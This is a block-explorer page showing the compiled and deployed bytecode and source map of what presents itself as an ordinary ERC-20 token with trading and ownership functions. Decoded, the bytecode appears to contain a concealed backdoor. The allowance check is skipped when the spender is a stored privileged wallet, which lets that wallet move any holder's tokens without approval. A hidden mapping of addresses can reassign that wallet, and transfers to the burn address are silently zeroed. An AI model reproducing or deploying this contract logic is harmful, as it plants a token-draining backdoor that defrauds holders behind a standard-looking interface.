b6107d5838383600161098b565b505050565b6001600160a01b038481165f8181526004602090815260408083208886168452909152902054600a549092161480159061081e57506001600160a01b03831661dead145b806108365750600b546001600160a01b038581169116145b156108415750610894565b5f19811015610892578181101561088457604051637dc7a0d960e11b81526001600160a01b03851660048201526024810182905260448101839052606401610407565b61089285858484035f61098b565b505b50505050565b6108a5838383610a5d565b6001600160a01b0383166108ce57604051634b637e8f60e11b81525f6004820152602401610407565b6001600160a01b0382166108f75760405163ec442f0560e01b81525f6004820152602401610407565b610902838383610aaf565b6107d5838383610a5d565b6008546001600160a01b0316331461036f5760405163118cdaa760e01b8152336004820152602401610407565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0384166109b45760405163e602df0560e01b81525f6004820152602401610407565b6001600160a01b0383166109dd57604051634a1406b160e11b81525f6004820152602401610407565b6001600160a01b038085165f908152600460209081526040808320938716835292905220829055801561089457826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a4f91815260200190565b60405180910390a350505050565b6001600160a01b038316610a8657604051634b637e8f60e11b81525f6004820152602401610407565b6001600160a01b0382166107d55760405163ec442f0560e01b81525f6004820152602401610407565b600d5460ff168015610ace5750600a546001600160a01b038381169116145b15610adc57610adc47610afe565b61deac196001600160a01b03831601610af3575f91505b6107d5838383610b39565b600b546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610b35573d5f803e3d5ffd5b5050565b6001600160a01b038316610b63578060055f828254610b589190610df6565b90915550610bd39050565b6001600160a01b0383165f9081526003602052604090205481811015610bb55760405163391434e360e21b81526001600160a01b03851660048201526024810182905260448101839052606401610407565b6001600160a01b0384165f9081526003602052604090209082900390555b6001600160a01b038216610bef57600580548290039055610c0d565b6001600160a01b0382165f9081526003602052604090208054820190555b6001600160a01b038216156107d557816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c6191815260200190565b60405180910390a3505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146103ad575f80fd5b5f8060408385031215610cc8575f80fd5b8235610cd381610ca3565b946020939093013593505050565b5f805f60608486031215610cf3575f80fd5b8335610cfe81610ca3565b92506020840135610d0e81610ca3565b929592945050506040919091013590565b5f60208284031215610d2f575f80fd5b8135610d3a81610ca3565b9392505050565b5f8060408385031215610d52575f80fd5b8235610d5d81610ca3565b91506020830135610d6d81610ca3565b809150509250929050565b600181811c90821680610d8c57607f821691505b602082108103610daa57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215610dc0575f80fd5b8151610d3a81610ca3565b5f805f60608486031215610ddd575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561033457634e487b7160e01b5f52601160045260245ffdfea26469706673582212204a565276f27533575c0ee12de9148c59f346b2a369e03e6d57fb9b4b58eb979d64736f6c63430008190033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610111575f3560e01c806386acfb751161009e578063a9059cbb1161006e578063a9059cbb14610218578063b910fac81461022b578063dd62ed3e14610233578063ea414b281461026b578063f2fde38b1461027e575f80fd5b806386acfb75146101ef57806386e3dd74146101f75780638da5cb5b146101ff57806395d89b4114610210575f80fd5b8063313ce567116100e4578063313ce5671461017b5780635f80c3371461018a57806370a08231146101b5578063715018a6146101dd57806381a16445146101e7575f80fd5b806306fdde0314610115578063095ea7b31461013357806318160ddd1461015657806323b872dd14610168575b5f80fd5b61011d610291565b60405161012a9190610c6e565b60405180910390f35b610146610141366004610cb7565b610321565b604051901515815260200161012a565b6005545b60405190815260200161012a565b610146610176366004610ce1565b61033a565b6040516009815260200161012a565b60015461019d906001600160a01b031681565b6040516001600160a01b03909116815260200161012a565b61015a6101c3366004610d1f565b6001600160a01b03165f9081526003602052604090205490565b6101e561035e565b005b6101e5610371565b6101e56103b0565b61011d6106aa565b6008546001600160a01b031661019d565b61011d610736565b610146610226366004610cb7565b610745565b61015a5f5481565b61015a610241366004610d41565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b6101e5610279366004610d1f565b610752565b6101e561028c366004610d1f565b61078e565b6060600680546102a090610d78565b80601f01602080910402602001604051908101604052809291908181526020018280546102cc90610d78565b80156103175780601f106102ee57610100808354040283529160200191610317565b820191905f5260205f20905b8154815290600101906020018083116102fa57829003601f168201915b5050505050905090565b5f3361032e8185856107c8565b60019150505b92915050565b5f33610348858286866107da565b61035385858561089a565b506001949350505050565b61036661090d565b61036f5f61093a565b565b61037961090d565b5f4711610384575f80fd5b60405133904780156108fc02915f818181858888f193505050501580156103ad573d5f803e3d5ffd5b50565b6103b861090d565b600d5460ff16156104105760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561044d90309061044860055490565b6107c8565b60095f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561049d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c19190610db0565b6001600160a01b031663c9c653963060095f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610520573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105449190610db0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561058e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105b29190610db0565b600a80546001600160a01b039283166001600160a01b03199091161790556009541663f305d71947306105f9816001600160a01b03165f9081526003602052604090205490565b5f8061060d6008546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610673573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106989190610dcb565b5050600d805460ff1916600117905550565b600280546106b790610d78565b80601f01602080910402602001604051908101604052809291908181526020018280546106e390610d78565b801561072e5780601f106107055761010080835404028352916020019161072e565b820191905f5260205f20905b81548152906001019060200180831161071157829003601f168201915b505050505081565b6060600780546102a090610d78565b5f3361032e81858561089a565b335f908152600c602052604090205460ff1661076c575f80fd5b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b61079661090d565b6001600160a01b0381166107bf57604051631e4fbdf760e01b81525f6004820152602401610407565b6103ad8161093a565b6107d5838383600161098b565b505050565b6001600160a01b038481165f8181526004602090815260408083208886168452909152902054600a549092161480159061081e57506001600160a01b03831661dead145b806108365750600b546001600160a01b038581169116145b156108415750610894565b5f19811015610892578181101561088457604051637dc7a0d960e11b81526001600160a01b03851660048201526024810182905260448101839052606401610407565b61089285858484035f61098b565b505b50505050565b6108a5838383610a5d565b6001600160a01b0383166108ce57604051634b637e8f60e11b81525f6004820152602401610407565b6001600160a01b0382166108f75760405163ec442f0560e01b81525f6004820152602401610407565b610902838383610aaf565b6107d5838383610a5d565b6008546001600160a01b0316331461036f5760405163118cdaa760e01b8152336004820152602401610407565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0384166109b45760405163e602df0560e01b81525f6004820152602401610407565b6001600160a01b0383166109dd57604051634a1406b160e11b81525f6004820152602401610407565b6001600160a01b038085165f908152600460209081526040808320938716835292905220829055801561089457826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a4f91815260200190565b60405180910390a350505050565b6001600160a01b038316610a8657604051634b637e8f60e11b81525f6004820152602401610407565b6001600160a01b0382166107d55760405163ec442f0560e01b81525f6004820152602401610407565b600d5460ff168015610ace5750600a546001600160a01b038381169116145b15610adc57610adc47610afe565b61deac196001600160a01b03831601610af3575f91505b6107d5838383610b39565b600b546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610b35573d5f803e3d5ffd5b5050565b6001600160a01b038316610b63578060055f828254610b589190610df6565b90915550610bd39050565b6001600160a01b0383165f9081526003602052604090205481811015610bb55760405163391434e360e21b81526001600160a01b03851660048201526024810182905260448101839052606401610407565b6001600160a01b0384165f9081526003602052604090209082900390555b6001600160a01b038216610bef57600580548290039055610c0d565b6001600160a01b0382165f9081526003602052604090208054820190555b6001600160a01b038216156107d557816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c6191815260200190565b60405180910390a3505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146103ad575f80fd5b5f8060408385031215610cc8575f80fd5b8235610cd381610ca3565b946020939093013593505050565b5f805f60608486031215610cf3575f80fd5b8335610cfe81610ca3565b92506020840135610d0e81610ca3565b929592945050506040919091013590565b5f60208284031215610d2f575f80fd5b8135610d3a81610ca3565b9392505050565b5f8060408385031215610d52575f80fd5b8235610d5d81610ca3565b91506020830135610d6d81610ca3565b809150509250929050565b600181811c90821680610d8c57607f821691505b602082108103610daa57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215610dc0575f80fd5b8151610d3a81610ca3565b5f805f60608486031215610ddd575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561033457634e487b7160e01b5f52601160045260245ffdfea26469706673582212204a565276f27533575c0ee12de9148c59f346b2a369e03e6d57fb9b4b58eb979d64736f6c63430008190033

Deployed Bytecode Sourcemap

23063:3071:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8771:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11064:190;;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;11064:190:0;893:187:1;9873:97:0;9952:10;;9873:97;;;1231:25:1;;;1219:2;1204:18;9873:97:0;1085:177:1;23771:254:0;;;;;;:::i;:::-;;:::i;23679:84::-;;;23754:1;1870:36:1;;1858:2;1843:18;23679:84:0;1728:184:1;8105:27:0;;;;;-1:-1:-1;;;;;8105:27:0;;;;;;-1:-1:-1;;;;;2081:32:1;;;2063:51;;2051:2;2036:18;8105:27:0;1917:203:1;10033:120:0;;;;;;:::i;:::-;-1:-1:-1;;;;;10125:20:0;10098:7;10125:20;;;:11;:20;;;;;;;10033:120;21232:103;;;:::i;:::-;;25968:163;;;:::i;25089:738::-;;;:::i;8139:26::-;;;:::i;20557:87::-;20630:6;;-1:-1:-1;;;;;20630:6:0;20557:87;;8981:95;;;:::i;10358:182::-;;;;;;:::i;:::-;;:::i;8071:27::-;;;;;;10603:142;;;;;;:::i;:::-;-1:-1:-1;;;;;10710:18:0;;;10683:7;10710:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10603:142;24928:153;;;;;;:::i;:::-;;:::i;21490:220::-;;;;;;:::i;:::-;;:::i;8771:91::-;8816:13;8849:5;8842:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8771:91;:::o;11064:190::-;11137:4;4657:10;11193:31;4657:10;11209:7;11218:5;11193:8;:31::i;:::-;11242:4;11235:11;;;11064:190;;;;;:::o;23771:254::-;23859:4;4657:10;23917:41;23933:4;4657:10;23948:2;23952:5;23917:15;:41::i;:::-;23969:26;23979:4;23985:2;23989:5;23969:9;:26::i;:::-;-1:-1:-1;24013:4:0;;23771:254;-1:-1:-1;;;;23771:254:0:o;21232:103::-;20443:13;:11;:13::i;:::-;21297:30:::1;21324:1;21297:18;:30::i;:::-;21232:103::o:0;25968:163::-;20443:13;:11;:13::i;:::-;26057:1:::1;26033:21;:25;26025:34;;;::::0;::::1;;26070:53;::::0;4657:10;;26101:21:::1;26070:53:::0;::::1;;;::::0;::::1;::::0;;;26101:21;4657:10;26070:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;25968:163::o:0;25089:738::-;20443:13;:11;:13::i;:::-;25163:14:::1;::::0;::::1;;25162:15;25154:51;;;::::0;-1:-1:-1;;;25154:51:0;;3357:2:1;25154:51:0::1;::::0;::::1;3339:21:1::0;3396:2;3376:18;;;3369:30;3435:25;3415:18;;;3408:53;3478:18;;25154:51:0::1;;;;;;;;;25216:15;:104:::0;;-1:-1:-1;;;;;;25216:104:0::1;25267:42;25216:104:::0;;::::1;::::0;;;25331:64:::1;::::0;25348:4:::1;::::0;25381:13:::1;9952:10:::0;;;9873:97;25381:13:::1;25331:8;:64::i;:::-;25440:15;;;;;;;;;-1:-1:-1::0;;;;;25440:15:0::1;-1:-1:-1::0;;;;;25440:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;25422:55:0::1;;25500:4;25520:15;;;;;;;;;-1:-1:-1::0;;;;;25520:15:0::1;-1:-1:-1::0;;;;;25520:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;25422:131;::::0;-1:-1:-1;;;;;;25422:131:0::1;::::0;;;;;;-1:-1:-1;;;;;3993:15:1;;;25422:131:0::1;::::0;::::1;3975:34:1::0;4045:15;;4025:18;;;4018:43;3910:18;;25422:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;25406:13;:147:::0;;-1:-1:-1;;;;;25406:147:0;;::::1;-1:-1:-1::0;;;;;;25406:147:0;;::::1;;::::0;;25564:15:::1;::::0;::::1;:31;25603:21;25648:4;25668:24;25648:4:::0;-1:-1:-1;;;;;10125:20:0;10098:7;10125:20;;;:11;:20;;;;;;;10033:120;25668:24:::1;25707:1;25723::::0;25739:7:::1;20630:6:::0;;-1:-1:-1;;;;;20630:6:0;;20557:87;25739:7:::1;25564:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;25564:223:0;;;-1:-1:-1;;;;;4431:15:1;;;25564:223:0::1;::::0;::::1;4413:34:1::0;4463:18;;;4456:34;;;;4506:18;;;4499:34;;;;4549:18;;;4542:34;4613:15;;;4592:19;;;4585:44;25761:15:0::1;4645:19:1::0;;;4638:35;4347:19;;25564:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;25798:14:0::1;:21:::0;;-1:-1:-1;;25798:21:0::1;25815:4;25798:21;::::0;;-1:-1:-1;25089:738:0:o;8139:26::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;8981:95::-;9028:13;9061:7;9054:14;;;;;:::i;10358:182::-;10427:4;4657:10;10483:27;4657:10;10500:2;10504:5;10483:9;:27::i;24928:153::-;25028:10;24997:42;;;;:30;:42;;;;;;;;24989:51;;;;;;25051:10;:22;;-1:-1:-1;;;;;;25051:22:0;-1:-1:-1;;;;;25051:22:0;;;;;;;;;;24928:153::o;21490:220::-;20443:13;:11;:13::i;:::-;-1:-1:-1;;;;;21575:22:0;::::1;21571:93;;21621:31;::::0;-1:-1:-1;;;21621:31:0;;21649:1:::1;21621:31;::::0;::::1;2063:51:1::0;2036:18;;21621:31:0::1;1917:203:1::0;21571:93:0::1;21674:28;21693:8;21674:18;:28::i;16656:130::-:0;16741:37;16750:5;16757:7;16766:5;16773:4;16741:8;:37::i;:::-;16656:130;;;:::o;24326:594::-;-1:-1:-1;;;;;10710:18:0;;;24438:24;10710:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;24514:13;;10710:27;;24514:13;24505:22;;;;:47;;-1:-1:-1;;;;;;24531:21:0;;24545:6;24531:21;24505:47;24504:74;;;-1:-1:-1;24568:10:0;;-1:-1:-1;;;;;24557:21:0;;;24568:10;;24557:21;24504:74;24501:86;;;24580:7;;;24501:86;-1:-1:-1;;24601:16:0;:36;24597:316;;;24677:5;24658:16;:24;24654:132;;;24710:60;;-1:-1:-1;;;24710:60:0;;-1:-1:-1;;;;;5215:32:1;;24710:60:0;;;5197:51:1;5264:18;;;5257:34;;;5307:18;;;5300:34;;;5170:18;;24710:60:0;4995:345:1;24654:132:0;24829:57;24838:5;24845:7;24873:5;24854:16;:24;24880:5;24829:8;:57::i;:::-;24427:493;24326:594;;;;;:::o;12789:411::-;12869:32;12885:4;12891:2;12895:5;12869:15;:32::i;:::-;-1:-1:-1;;;;;12916:18:0;;12912:88;;12958:30;;-1:-1:-1;;;12958:30:0;;12985:1;12958:30;;;2063:51:1;2036:18;;12958:30:0;1917:203:1;12912:88:0;-1:-1:-1;;;;;13014:16:0;;13010:88;;13054:32;;-1:-1:-1;;;13054:32:0;;13083:1;13054:32;;;2063:51:1;2036:18;;13054:32:0;1917:203:1;13010:88:0;13108:24;13116:4;13122:2;13126:5;13108:7;:24::i;:::-;13143:31;13158:4;13164:2;13168:5;13143:14;:31::i;20722:166::-;20630:6;;-1:-1:-1;;;;;20630:6:0;4657:10;20782:23;20778:103;;20829:40;;-1:-1:-1;;;20829:40:0;;4657:10;20829:40;;;2063:51:1;2036:18;;20829:40:0;1917:203:1;21870:191:0;21963:6;;;-1:-1:-1;;;;;21980:17:0;;;-1:-1:-1;;;;;;21980:17:0;;;;;;;22013:40;;21963:6;;;21980:17;21963:6;;22013:40;;21944:16;;22013:40;21933:128;21870:191;:::o;17653:443::-;-1:-1:-1;;;;;17766:19:0;;17762:91;;17809:32;;-1:-1:-1;;;17809:32:0;;17838:1;17809:32;;;2063:51:1;2036:18;;17809:32:0;1917:203:1;17762:91:0;-1:-1:-1;;;;;17867:21:0;;17863:92;;17912:31;;-1:-1:-1;;;17912:31:0;;17940:1;17912:31;;;2063:51:1;2036:18;;17912:31:0;1917:203:1;17863:92:0;-1:-1:-1;;;;;17965:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;:35;;;18011:78;;;;18062:7;-1:-1:-1;;;;;18046:31:0;18055:5;-1:-1:-1;;;;;18046:31:0;;18071:5;18046:31;;;;1231:25:1;;1219:2;1204:18;;1085:177;18046:31:0;;;;;;;;17653:443;;;;:::o;12498:285::-;-1:-1:-1;;;;;12594:18:0;;12590:88;;12636:30;;-1:-1:-1;;;12636:30:0;;12663:1;12636:30;;;2063:51:1;2036:18;;12636:30:0;1917:203:1;12590:88:0;-1:-1:-1;;;;;12692:16:0;;12688:88;;12732:32;;-1:-1:-1;;;12732:32:0;;12761:1;12732:32;;;2063:51:1;2036:18;;12732:32:0;1917:203:1;24033:285:0;24123:14;;;;:37;;;;-1:-1:-1;24147:13:0;;-1:-1:-1;;;;;24141:19:0;;;24147:13;;24141:19;24123:37;24120:97;;;24162:55;24195:21;24162:32;:55::i;:::-;-1:-1:-1;;;;;;;24231:21:0;;;24228:41;;24267:1;24254:15;;24228:41;24280:30;24294:4;24300:2;24304:5;24280:13;:30::i;25835:121::-;25920:10;;25912:36;;-1:-1:-1;;;;;25920:10:0;;;;25912:36;;;;;25941:6;;25920:10;25912:36;25920:10;25912:36;25941:6;25920:10;25912:36;;;;;;;;;;;;;;;;;;;;;25835:121;:::o;13814:1184::-;-1:-1:-1;;;;;13904:18:0;;13900:554;;14056:5;14042:10;;:19;;;;;;;:::i;:::-;;;;-1:-1:-1;13900:554:0;;-1:-1:-1;13900:554:0;;-1:-1:-1;;;;;14116:17:0;;14094:19;14116:17;;;:11;:17;;;;;;14152:19;;;14148:117;;;14199:50;;-1:-1:-1;;;14199:50:0;;-1:-1:-1;;;;;5215:32:1;;14199:50:0;;;5197:51:1;5264:18;;;5257:34;;;5307:18;;;5300:34;;;5170:18;;14199:50:0;4995:345:1;14148:117:0;-1:-1:-1;;;;;14388:17:0;;;;;;:11;:17;;;;;14408:19;;;;14388:39;;13900:554;-1:-1:-1;;;;;14470:16:0;;14466:435;;14636:10;:19;;;;;;;14466:435;;;-1:-1:-1;;;;;14850:15:0;;;;;;:11;:15;;;;;:24;;;;;;14466:435;-1:-1:-1;;;;;14916:16:0;;;14913:78;;14969:2;-1:-1:-1;;;;;14954:25:0;14963:4;-1:-1:-1;;;;;14954:25:0;;14973:5;14954:25;;;;1231::1;;1219:2;1204:18;;1085:177;14954:25:0;;;;;;;;13814:1184;;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:315;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;2125:247::-;2184:6;2237:2;2225:9;2216:7;2212:23;2208:32;2205:52;;;2253:1;2250;2243:12;2205:52;2292:9;2279:23;2311:31;2336:5;2311:31;:::i;:::-;2361:5;2125:247;-1:-1:-1;;;2125:247:1:o;2377:388::-;2445:6;2453;2506:2;2494:9;2485:7;2481:23;2477:32;2474:52;;;2522:1;2519;2512:12;2474:52;2561:9;2548:23;2580:31;2605:5;2580:31;:::i;:::-;2630:5;-1:-1:-1;2687:2:1;2672:18;;2659:32;2700:33;2659:32;2700:33;:::i;:::-;2752:7;2742:17;;;2377:388;;;;;:::o;2770:380::-;2849:1;2845:12;;;;2892;;;2913:61;;2967:4;2959:6;2955:17;2945:27;;2913:61;3020:2;3012:6;3009:14;2989:18;2986:38;2983:161;;3066:10;3061:3;3057:20;3054:1;3047:31;3101:4;3098:1;3091:15;3129:4;3126:1;3119:15;2983:161;;2770:380;;;:::o;3507:251::-;3577:6;3630:2;3618:9;3609:7;3605:23;3601:32;3598:52;;;3646:1;3643;3636:12;3598:52;3678:9;3672:16;3697:31;3722:5;3697:31;:::i;4684:306::-;4772:6;4780;4788;4841:2;4829:9;4820:7;4816:23;4812:32;4809:52;;;4857:1;4854;4847:12;4809:52;4886:9;4880:16;4870:26;;4936:2;4925:9;4921:18;4915:25;4905:35;;4980:2;4969:9;4965:18;4959:25;4949:35;;4684:306;;;;;:::o;5345:222::-;5410:9;;;5431:10;;;5428:133;;;5483:10;5478:3;5474:20;5471:1;5464:31;5518:4;5515:1;5508:15;5546:4;5543:1;5536:15

Swarm Source

ipfs://4a565276f27533575c0ee12de9148c59f346b2a369e03e6d57fb9b4b58eb979d
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.